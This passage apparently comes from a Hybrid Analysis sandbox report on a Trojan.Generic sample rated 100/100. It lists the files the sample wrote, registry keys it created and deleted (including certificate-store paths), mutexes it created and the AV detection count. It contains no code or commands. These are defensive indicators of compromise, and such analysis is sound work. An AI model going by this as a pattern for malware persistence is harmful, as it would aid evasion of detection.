%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\WINHTTP.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\C5FD5BF0CE6372B1CAFE381FD0BC969C","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\C5FD5BF0CE6372B1CAFE381FD0BC969C","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\EB2C4AB8B68FFA4B7733A9139239A396_AD876BD6070522D4EE8560FE72EBB41A","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\223DE96EE265046957A660ED7C9DD9E7_5F4A6047A3FBCAF69FE9965B6C68B6B7","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\67F6625BC22310D5C99DDE12020DBD90","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\67F6625BC22310D5C99DDE12020DBD90","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\20BD47F18EB09FAE36D647A07FA96AA7_2E5F7F5F573C2C45F8BC6703FEE24DC5","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\510B5389D631F18D6C95393A98C2AC37","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\510B5389D631F18D6C95393A98C2AC37","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\20BD47F18EB09FAE36D647A07FA96AA7_D6130B290C36CB8D8B64E18D1A5D6AB9","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\20BD47F18EB09FAE36D647A07FA96AA7_D6130B290C36CB8D8B64E18D1A5D6AB9","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\CNP9T5ZE\\","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKCU\\SOFTWARE\\YFUBLAO\\","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\YFUBLAO\\","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\YSHQVLQM\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\QPUCHKPU\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\QPUCHKPU\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\CNP9T5ZE\\WCKGZN\\WCKGZN","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKCU\\SOFTWARE\\CNP9T5ZE\\LY2S8GF6\\LY2S8GF6","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKCU\\SOFTWARE\\CNP9T5ZE\\","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"key":"HKCU\\SOFTWARE\\YSHQVLQM\\SR7SKDZNQ\\SR7SKDZNQ","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\YSHQVLQM\\3098TM3\\3098TM3","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"key":"HKCU\\SOFTWARE\\YSHQVLQM\\","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\0F260914C76C6152","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"0F260914C76C6152","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"Global\\C8C11A319FC81E28","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C8C11A319FC81E28","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\B626DF86768DAE43","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"B626DF86768DAE43","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\8ED5CFD7E1CE5795","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\EAFD305F66E96E2F","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!sa9fdhu!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!sa9fdhu!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!sa9fdhu!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\73A67B41F299C828","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}]}},"report_ids":{"sandbox_job_ids":["5ab389427ca3e170c7137b48","59534ad77ca3e14ee302cd82"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 21efa5573721… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 21efa5573721…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 21efa5573721… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 21efa5573721…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 21efa5573721… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 21efa5573721…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L39","11",{}]]